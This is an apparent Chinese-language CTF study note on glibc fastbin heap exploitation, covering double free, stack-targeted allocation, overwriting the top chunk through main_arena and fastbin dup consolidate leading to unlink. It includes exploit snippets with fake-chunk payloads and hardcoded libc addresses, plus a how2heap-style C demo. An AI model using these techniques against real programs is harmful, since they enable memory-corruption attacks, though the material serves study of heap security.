0%

fastbin attack


1.Fastbin Double Free

Double free及将一个堆块free两次,gdb中如下图所示

70284676bc5d1e887cca2f653cfcea8a

这样我们就可以将两个堆块申请在同一个位置,其中一个堆块是free状态,我们可以通过另一个堆块对fd指针进行修改

Fastbin Double Free能够成功利用的原因:

1.fastbin的堆块被释放后next_chunk的prev_inuse位不会被清空

2.fastbin在执行free的时候仅验证了main_arena直接指向的块,即链表指针头部的块。对于链表后面的块并没有进行验证

2.fastbin dump into stack

顾名思义,将堆块申请在栈上,控制栈上的数据,利用uaf漏洞,将fd指针改为要控制数据的地址-0x10(因为fd指针指的是堆块的头部,所以需要-0x10,才刚好使数据段落在要要控制数据的栈上),修改堆块的内容就可以控制栈上的数据

注:首先要伪造size位(0xn1)

ISMMAP位不能为1

inues位为0

size位为0x40

地址要64位:0/8

​ 32位:0/4 对齐

在内存中构造了一个了一个堆块,还要怎么样才能让它 free

扩展用在fastbin attack打mallco使申请堆块大小受限制(<=0x60,也就是没发使堆块的size位为0x71)

在2.23和2.27的libc版本中,由于没有对top chunk的size合法性进行检查,所以我们把top_chunk的地址改了,就能申请任意地址

直接改top chunk的地址

申请一个size位为0x31的堆块,free掉,修改fd指针为0x61,再将这个堆块申请出来,这样main_arena中存储大小为0x30的堆块的数组就会存上0x61(为了伪造size位)

image

然后我们申请一个size位为0x61的堆块,free掉,修改指针到main_arena-80的地方这样,申请两次,将main_arena-80的堆块申请出来,因为main_arena-80与top chunk的地址紧挨着,所以可以写数据覆盖top chunk

为什么要是main_arena-80看图

image

这样可以伪造一个size位,堆块才能被申请在这里

imag

具体写多少自己数

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0,0x20)
add(1,0x20)
free(0)
edit(0,p64(0x61))
add(2,0x20)
add(3,0x50)
free(3)
edit(3,p64(0x7ffff7bc4b28))
add(4,0x50)
add(5,0x50)
bug()
payload = p64(8)*8+p64(0x7ffff7bc4aed)
edit(5,payload)

3.fastbin dup consolidate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

申请两个堆块大小范围在fastbin,p2是为了防止触发malloc_consolidate 使得p1被合并进入top_chunk

free掉p1进入fastbin申请0x400的大小的chunk,这时触发malloc_consolidate,p1就会被放在unsortbin

因为这时候p1已经不在fastbins了,可以再次free一次触发double free

这时候申请两次

第一次会把 fastbin 中的 p1 chunk 给 malloc 出来,然后 fastbin 为空

第二次会把 unsorted 中的 p1 chunk 给 malloc 出来,所以会能 malloc 到两次一样的 chunk

效果: 首先它会像unsortedbin(small)一样将相邻高地址的堆块inuse位置零同时也会被放进unsortedbin链表中(即存在fd和bk的使用), 其次它依旧满足fastbin的free堆块inuse位不置零, 那么如果存在有off by one或者其写入大小符合在不free时可以写入下一个chunk的pre_size, 那么就很容易触发到unlink了

具体实现:

malloc_consolidate的功能就是把chunk从fastbin取出,相邻的chunk进行合并,并且会设置下一个chunk的prev_inuse位为0。当chunk从fastbin里取出后,我们就可以在再一次free这个chunk了,此时,fastbin里没有形成循环链表,一个chunk在fastbin,一个chunk在unosrted bin(small)。关键的一点是下一个chunk的prev_inuse已经清零,我们将fastbin里的那个chunk申请回来,伪造一个chunk(往fastbin中写,也就是写入了unsortbin中,将fd与bk设为对应的值就可以),然后释放下一个unsorted bin范围的chunk,就会发生unlink。

1
2
3
4
5
6
7
8
9
add(1,b'samll')
add(2,b'big')
free(1)

add(3,b'large')
free(1)
payload = p64(0)+p64(0x21)+p64(small_buf_addr - 0x18) + p64(small_buf_addr - 0x10)+p64(0x20)
add(1,payload)
free(2)

触发unlink一定要伪造一个free掉的堆块在指针处,因为unlink比较是和头部比较,而数组中存储的是指针的值,所以要伪造头部在指针处才能绕过保护

// 在最后添加